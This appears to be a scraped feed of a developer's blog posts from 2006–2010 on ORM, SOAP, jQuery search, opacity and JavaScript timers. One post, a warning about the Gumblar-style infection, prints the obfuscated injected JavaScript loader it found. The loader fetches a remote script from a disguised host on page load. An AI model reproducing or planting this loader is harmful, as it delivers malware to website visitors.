itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com8tag:blogger.com,1999:blog-3763970501036742929.post-74214910150321873332010-01-27T21:20:00.001-05:002010-01-27T21:20:56.712-05:00ORM Idiotizm<div>For the over 10 past years I have been a strong critic of ORM concept. I feel that majority of people just don't understand the root</div><div>of the problem with ORM, don't understand what ORM is for, and even should it be there in the first place. I truly think that it should not,</div> <div>the whole concept of ORM is wrong and here is why. I'll be talking in very practical terms. </div><div><br></div><div>What is ORM? ORM allows us to map relational entities (read "tables" with keys and references) into objects in your code. Sounds very cool.</div> <div>Let me ask you a "stupid" question - <b><u>why do you need to have those objects in your code to begin with</u></b>? Huh? No, wait, don't close this page, keep on</div><div> reading....why? Ah...because you need to show the grid of customers then change selected customer and save it back to db.</div> <div><br></div><div> Ok, let's start from display grid(or any kind of list, such as a treeview), so grid is object-oriented piece of software that "draws" lines on screen (or HTML)</div><div> that mimics a table, also it draws little string values in those "cells", so grid needs to get some data to draw. OK, but don't we have data in database? We do.</div> <div>Can we read this data? We can. Can we read different column types? We can. Can we know what columns are in there(in database/table). Yes, we can. Can we build grid directly from database. We can. Can we do this automatically relying on database meta-data (data about columns, sizes, requirement etc...) WE CAN.</div> <div><br></div><div>So, why do we need stupid POJO or POCO objects in between to draw grids? We do not. We need a "smart adapter", - a class that is absolutely universal -</div><div> it takes "data descriptor" (think of DataTable,DataSet,DataRow in .NET) and build grid columns including their default width, maybe even color to indicate importance, etc..</div> <div>This class ("adapter") may also take custom style-rule set that will hide certain columns or make them smaller - but this is just for DISPLAY ONLY purpose.</div><div><br></div><div>Back in 1995 I have used client-server database and I needed to build an application with 200 data-entry screens. What I did, I created a grid-derivative that was "so smart" -</div> <div> in 90% of cases I just wrote a select SQL - formed a dataSource and then grid showed it to me in design time (I used Delphi 1) where I dragged and colored columns to make them look pretty. Thats it! No Line of code was written in business layer, no line of code in the grid form, just NONE. No strings to configure, and when you add columns to database - they may or may not automatically appear in the grid for corresponding table, depending on 'AutoRebuildColumns' boolean property. It also worked much faster than Hibernate (that did not exist back then) because it did not create any redundant copies of data in memory(no POJO/POCO).</div> <div><br></div><div>Same approach for displaying detail forms: textboxes, checkmarks, radios etc... All you need is this: allow developer to place controls on form to satisfy client's particular layout requirements,</div> <div> wire-up every data-entry control DIRECTLY to database column by name (i'll explain how) and write NO BOILER PLATE CODE. If column "Sex" is required in table "Customer" then radio-button should automatically be named "SEX" and be required upon 'Save". You don't need to write any validation code, any "Validators" - this is all extra work and really not needed - everything is already explicitly defined in your database schema. </div> <div><br></div><div>How to connect , say textbox directly to TABLE.COLUMN in database? Easy - you need to write some "framework" code that make your textbox "smart" by associating this data-entry field with particular column by STRING NAME, make a property "FieldName", and then everything should be read from metadata and applied to "object-oriented" properties of a text box, such as: Readonly, MaxSize etc... Some properties do not exist in DB, i.e. "text color" but that can be specified by developer in concrete form.</div> <div><br></div><div>You feel what I am getting at here? Yes, AUTOMATIC DATABASE REFLECTION, with 100% CUSTOMIZATION ability by developer in every screen, but this is much more rare that just displaying/saving data back and forth in "default way" - without special customization.</div> <div><br></div><div>Ok, now another part - working with "BUSINESS" objects. The truth is that in may cases you just don't need a business object because you are interfacing with</div><div> table that has limited functionality, column and row count (think US_STATES table). For complex objects such as "Patient Medical Record" Hibernate and the like dont do you much good anyway, reason being - you need to have 100% control over SQL code/stored procedures being sent to database, and yes HQL is a language of Hibernate, but wait, why do I need it, I already know PL/SQL or t-SQL and know it well, and it has operators that Hibernate does not even dream about (think of compilation hints, things like grouping sets, CONNECT BY etc...). So when I save 'Patient Medical Record" I certainly use CRUD-like helpers but definitely not a monster like Hibernate or MS Entity framework.</div> <div><br></div><div>One last thought - when you use LINQ that you all love so much, don't forget that LINQ knows nothing about your collections in terms of indexes....binary searches...</div><div> consequently it is all very slow linear search ..... some food for thought.... LINQ to SQL? I'd rather use SQL to C# (its a joke).</div> <div><br></div><div>Let's use excavator to dig swimming pool and spoon to eat cake but not vice-versa.</div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div> <br></div><div><br></div><div><br></div><div><br></div><div>Read this link below, it will open you eyes!</div><div><br></div><a href="http://incubator.apache.org/empire-db/empiredb/hibernate.htm">http://incubator.apache.org/empire-db/empiredb/hibernate.htm</a> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com7tag:blogger.com,1999:blog-3763970501036742929.post-63491347015759967922009-12-24T20:31:00.001-05:002009-12-24T20:31:27.999-05:00"Gumblaroid" VirusYesterday my computer lab where I host 5+ workstations has been attacked by a virus which is called "Gumblaroid" as I have figured<br>out today. To make a long story short - I ended up resurrecting drive C from a backup. I recommend that you check your system for stability at least once a week<div> and make a full image of drive C every week. Keep a history of at least few months back.<br><br>Symptoms:<br><br>1. You visit some site (I used FireFox) i.e. - click on a link in email or something like this<br><br>2. In about 30-50 seconds you get "You <something> was installed" popup (regular Windows GUI), so the infection has already happened<br> <br>3. Run "netstat /a" in command prompt - you will see 100s if not more out-bound SMTP-port connections<br><br>4. Virus links with core Windows processes so if you run "netstat /a /b" you will see things like "svchost.exe" that create this traffic -<br> <br> this is because virus has attached as a DLL into legit Windows process.<br><br>5. Any attempt from any browser to open Google and search for anything results in a return of a blank page (zero-length HTML content) -<br> <br>virus blocks TCP/IP inbound from Google search result page (same for Yahoo). You can use other search engines like "Rambler.ru" while this happens.</div><div><br><br>Today I have figured out how I got it, I was served a regular page from a PHP-powered site and a piece of turd has attached itself to the tail of all JavaScripts on the WebServer. This turd has been "sanitized" and is presented below.<br> <br>This is what was served to me from malevolent site:<br><br><span class="Apple-style-span" style="background-color: rgb(204, 255, 255);"><span class="Apple-style-span" style="font-size: x-small;">/*GNU GPL*/ try{window.onload = function(){var Kjnilav1ca = document.createElement('s@@!@c@!r&)(i##p)&@t)'.replace(/\)|\!|&|\^|\$|@|\(|#/ig, ''));Kjnilav1ca.setAttribute('type', 'text/javascript');Kjnilav1ca.setAttribute('src', 'h(t$(!)t!p#@#(:@$/^&$$^/^&w)e))@l&#^)t#!!)-$d##&e#.@k)a#)i^x(@(@i(()^n!#^.&&c@o$m!.^)g$&)$a)!&#m!((e)(#z!$t&(&$a&&r@&#-$#c)$@o$m@$.^!w$@o@r&!l&@&d)&#m$(u^#s!@!i!&$@c)m^^(a@&g)^&a#&z^!(i!n#)^^e)&.@!^r^u$^:&$8!0()8#!0)!/#$@s)($o)!u(&t$!$)h!@^w()e@s!t!.@@&c)@!^)o&#m&&&$@/!)&s)^o@!!(u)!t^h@$w!)#!e!s&t(#.!@))!c$^o@)m)@@/&&g&#o(o)(^g)&l($)#)e@&^^^.@#c@$(o$^m@#!#/&d@!$i()#s(c@$^u&)s$^!)s^#@)).(!c#$^o#&!m(^$(.$h#^k#/)^1@$&($6!#3$.@!c@#^o)(m$&/('.replace(/\!|\^|&|@|\)|#|\(|\$/ig, ''));Kjnilav1ca.setAttribute('defer', 'defer');Kjnilav1ca.setAttribute('id', 'Z$@7&^q)a$(!5!&9#(w&)#7$e@l^^'.replace(/\)|#|\!|\^|&|@|\(|\$/ig, ''));document.body.appendChild(Kjnilav1ca);}} catch(e) {}</span></span><br> <br>Obviously, different sites have different mutations of the same thing as it uses Regexes to crap-up itself.<br>Please check this link by Daniel Ansari for info how to remove this infection:</div><div><br> <a href="http://www.danielansari.com/wordpress/2009/05/automatic-removal-of-gumblarmartuz-trojan/">http://www.danielansari.com/wordpress/2009/05/automatic-removal-of-gumblarmartuz-trojan/</a></div> <div><br></div><div><br></div> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com25tag:blogger.com,1999:blog-3763970501036742929.post-78829058055991822312009-12-22T01:42:00.001-05:002009-12-22T01:42:58.251-05:00Microsoft Documents alla Google Docs<div>Today I'v heard that Google bought DocVerse for $25M</div><div><br></div><div>It is a plugin that integrates right into MS Office and makes local Office programs behave like Google Docs....Microsoft is left behind again...</div> <div><br></div><div>See this:</div><div><br></div><a href="http://www.docverse.com/">http://www.docverse.com/</a><br clear="all"><br><br> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com8tag:blogger.com,1999:blog-3763970501036742929.post-17544291558208676912009-12-19T00:44:00.001-05:002009-12-19T00:44:38.452-05:00GOOGLE phone and GOOGLE Laptop<div>Looks like the rumors about Google's own phone are materializing see the link below:</div><div><br></div><a href="http://www.smh.com.au/digital-life/iphone/google-confirms-secret-google-phone-20091214-kquy.html">http://www.smh.com.au/digital-life/iphone/google-confirms-secret-google-phone-20091214-kquy.html</a><br clear="all"> <br>Also, rumor has it that Google will release it's own net book with Chrome OS.<div><br></div><div>Google gotta make sure that people CAN save files locally though, - it is not going to be possible to convince everyone to keep it all in the cloud.<br> <div><br></div><div><br></div></div> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com19tag:blogger.com,1999:blog-3763970501036742929.post-33133794236163448382009-12-18T22:04:00.003-05:002009-12-18T22:13:28.432-05:00Why don't Web Services/SOAP support passing of my own C# type?This was asked today at work.........<br />Look at the question again....rings the bell? ..then look again...<br />How can SOAP be so cruel? It was never meant to pass your custom memory structures<br /> as-is, because those structures are specific to your code/library/environment/platform...<br />How do you expect Linux binary file, originally created in C++ where all<br /> memory structures are allocated differently or even on a different processor, <span class="blsp-spelling-error" id="SPELLING_ERROR_0">de</span>-serialize<br /> your.NET class? .NET class has both data fields and methods (somewhere in a code segment) scoped to your class - you MUST have your assembly on the other end. Don't ask me how Microsoft builds a Web Service proxy on the consumer end - that's the point - it's a "proxy"<br /> it is merely an "adapter" between you and remote server, effectively you are making an <span class="blsp-spelling-error" id="SPELLING_ERROR_1">RPC</span> call<br /> and just for your convenience does Microsoft call proxy class the same name as your web service on the other end. Web services are all about cross-platform-ability, not about your .NET stuff!itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com3tag:blogger.com,1999:blog-3763970501036742929.post-22336157901605192702009-12-18T21:28:00.002-05:002009-12-18T22:01:44.183-05:00Search on your ASP.NET WebsiteMany people just don't realize that some most trivial things in IT-life are not that "out-of-the-box-y" at all. <div>One of them is "Search". Many sites have a Search function, so it is easy to do, right?</div><div><br /></div><div> I have summarized the approaches to "Search" here:</div><div>a. Do your own site search - host it on your server</div> <div>b. Integrate external search (like Google)</div><div><br /></div><div>In case of [a] from above: MS indexing service is really a piece of turd when it comes to web indexing, pardon my French, reason being - it does not turn your ASPX files</div> <div>into static content, it was never built for that so you end-up with an index of your C# code or any other server-side markup.</div><div>I know a few people who have "materialized" ASPX and other ASP resources into "/static" folder ,then unleashed MS Indexing on it, then when MS indexing gives you result</div> <div>, remap "static.html" back into "dynamic.aspx" , and this does suck, but it does work as well!</div><div>Another approach in [a] case from above - Google for "<a href="http://asp.net/">ASP.NET</a> indexing" and go buy a dedicated <a href="http://asp.net/">ASP.NET</a> solution of your problem, this sux a ton :(</div> <div><br /></div><div>Now, when you want to utilize Sergey and Larry in [b] case from above, there are quite a few cool features:</div><div> if you don't care about how your search result looks - just create a plain HTML form post back to Google with site search parameter preset to your domain.</div> <div><br /></div><div>If you are fastidious as to how search results are "branded" - Google for "Google Search API" and indeed you can customize it, but, what not that many people know, there is a </div> <div> REST service that returns plain JSON, even with a callback! So, if you are a fan of JQuery, here is a code for you:</div><div><br /></div><pre id="line79"><span class="Apple-style-span" style="font-family:'courier new', monospace;">$.ajax({ type: "GET", url: "<a href="http://ajax.googleapis.com/ajax/services/search/web?v=1.0">http://ajax.googleapis.com/ajax/services/search/web?v=1.0</a>",<br /> data: {q: $("#<b><span class="Apple-style-span" style="color:#3333ff;">YOURTEXTBOXID</span></b>").val(),<br /> callback: "resultReady",<br /> context: "doSearch",<br /> cx: "<b><span class="Apple-style-span" style="color:#3333ff;">YOURCUSTOMSITEID</span></b>",<br /> rsz: "large"}, dataType: "script" </span></pre><div><span class="Apple-style-span" style="white-space: pre;"><span class="Apple-style-span" style="font-family:'courier new', monospace;"> });</span></span><span class="Apple-style-span" style="font-family:'courier new', monospace;"> </span></div> <div><span class="Apple-style-span" style="font-family:'courier new', monospace;">and finally:</span></div><div><span class="Apple-style-span" style="font-family:'courier new', monospace;"><pre id="line79"> <span class="Apple-style-span" style="font-family:'courier new', monospace;">function resultReady(ctx, data)<br /> {<br /> for (var i in data.results) <br /> { <br /> data.results[i].....<span class="Apple-style-span" style="color:#3333ff;">do your stuff dynamically</span> <br /> }<br /> } </span></pre></span></div><div><span class="Apple-style-span" style="font-family:'courier new', monospace;"><br /></span></div><div><span class="Apple-style-span" style="font-family:'courier new', monospace;">Google for "Custom Search Engine" to get <span class="Apple-style-span" style="white-space: pre;">"<b><span class="Apple-style-span" style="color:#3333ff;">YOURCUSTOMSITEID</span></b>", basically this will allow you to set-up a profile that will</span></span></div> <div><span class="Apple-style-span" style="font-family:'courier new', monospace;"><span class="Apple-style-span" style="white-space: pre;"> filter searches to URLs that you specify - just what we have needed for a long time!</span></span></div> <div><span class="Apple-style-span" style="font-family:'courier new', monospace;"><br /></span></div><div><span class="Apple-style-span" style="font-family:'courier new', monospace;">That's IT!</span></div><div><br /></div><div>Remember to check GOOGLE Terms and comply with their logo and other requirements.</div> <div><br /></div><div><br /></div><div><br /></div>itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com6tag:blogger.com,1999:blog-3763970501036742929.post-88226721330097606902009-12-17T18:00:00.001-05:002009-12-17T18:00:14.715-05:00Supressing Default Form Submit on [ENTER]<div>Problem is - when you hit <ENTER> form gets submitted,</div><div> but in most cases you need to run, let's say, AJAX and just "automate" text box so it initiates AJAX w/o form submit.</div><div>This is very easy to do with jQuery that shields you from tedious cross-browser nuances:</div> <div><br></div><font class="Apple-style-span" face="'courier new', monospace">$("#</font><font class="Apple-style-span" face="'courier new', monospace">tbDoSearchText</font><font class="Apple-style-span" face="'courier new', monospace">").</font><font class="Apple-style-span" face="'courier new', monospace">keydown</font><font class="Apple-style-span" face="'courier new', monospace">(function(e) { if (e.</font><font class="Apple-style-span" face="'courier new', monospace">keyCode</font><font class="Apple-style-span" face="'courier new', monospace">==13) {$("#</font><font class="Apple-style-span" face="'courier new', monospace">btnDoSearch</font><font class="Apple-style-span" face="'courier new', monospace">").click(); <font class="Apple-style-span" color="#3333FF"><b>e.</b></font></font><font class="Apple-style-span" face="'courier new', monospace"><font class="Apple-style-span" color="#3333FF"><b>stopPropagation</b></font></font><font class="Apple-style-span" face="'courier new', monospace"><font class="Apple-style-span" color="#3333FF"><b>(); return false;</b></font> }});</font><div> <br></div><div>Where:</div><div> tbDoSearchText - is your text box with user search terms text, btnDoSearch - the button that runs AJAX search "onclick"</div><div><br></div><div>I have bolded important part.</div> <div><br></div><div>Thats it - when user enters search text and hits <ENTER> - "onClick" is called and AJAX starts (assuming you have an AJAX call in button click event)</div><div><br></div><div><br clear="all"> <br><br> </div> itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com3tag:blogger.com,1999:blog-3763970501036742929.post-59016247875687526092006-11-24T17:12:00.000-05:002006-11-24T17:29:42.408-05:00Controling OpacityI have found this very helpful in doing "flash-like" java scripts driven by user input. Takes 1 minute to create transition effect lib with this function.<br><br />Enjoy! <br><br /><br />P.S.: Oh!<br />The only thing left for you to implement <b>isIE()</b>!!!!!<br /><br><br /><pre><small><br />function setObjectOpacity(obj, opacity)<br />{<br /> //IE<br /> if (<span style="color: rgb(255, 0, 0);">isIE()</span>)<br /> obj.style.filter = "alpha(opacity:"+opacity+")";<br /> else<br /> {<br /> opacity = (opacity == 100)?99.999:opacity;//99.9 for Firefox flicker bug<br /><br /> // Konqueror, Safari<br /> obj.style.KHTMLOpacity = opacity / 100;<br /> // Old Mozilla and Firefox<br /> obj.style.MozOpacity = opacity / 100;<br /> // CSS3, Safari , new Firefox (Gecko)<br /> obj.style.opacity = opacity / 100;<br /> }//else<br />}</small><br /></pre>itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com18tag:blogger.com,1999:blog-3763970501036742929.post-88829777291688595012006-11-24T16:56:00.000-05:002006-11-24T17:09:50.155-05:00Java Script multi-threadingWe all know that it is not possible,...but... using timers along with path-through routines that don't block might sound like a cool alternative. I have tried it and it works - picture this:<br /><br /><span style="font-weight: bold;font-size:85%;" ><span style="font-family:courier new;">function doLongTask(x,y,z, callback)</span><br /><span style="font-family:courier new;">{</span><br /><span style="font-family:courier new;"> this.X = x;</span><br /><span style="font-family:courier new;"> this.Y = y;</span><br /><span style="font-family:courier new;"> this.Z = z;</span><br /><span style="font-family:courier new;"> this.doneCallback=callback;</span><br /><span style="font-family:courier new;">}</span><br /><br /><span style="font-family:courier new;">doLongTask.prototype.threadSpin = _longtask_threadspin;</span><br /><br /><span style="font-family:courier new;">function _longtask_threadspin()</span><br /><span style="font-family:courier new;">{</span><br /><span style="font-family:courier new;"> //instead of long loops save your intermediate state in this.{vars}</span><br /><span style="font-family:courier new;"> </span><br /><span style="font-family:courier new;"> this.X++;</span><br /><span style="font-family:courier new;"> if (this.X%100==0) this.Z = this.Y - 100; //some logic that would have been in a tight loop</span><br /><span style="font-family:courier new;"> </span><br /><span style="font-family:courier new;"> if (this.X>1000) this.doneCallback();</span><br /><span style="font-family:courier new;"> </span><br /><span style="font-family:courier new;">}</span></span><br /><br />And now we can easily:<br /><br /><span style="font-weight: bold;font-size:85%;" ><span style="font-family: courier new;"> var task = new doLongTask(1,2,3,doneLongTask);<br /></span><span style="font-family: courier new;">var tmr = setInterval(task.threadSpin, 10/*time slice!!!*/);<br /></span><br /><span style="font-family: courier new;">function doneLongTask()<br /></span><span style="font-family: courier new;">{</span><br /><span style="font-family: courier new;"> task.Z // result of task</span><br /><span style="font-family: courier new;"> clearInterval(tmr);// kill 'thread'</span><br /><span style="font-family: courier new;">}</span><br /></span>itAdapterhttp://www.blogger.com/profile/07293438971837609764noreply@blogger.com11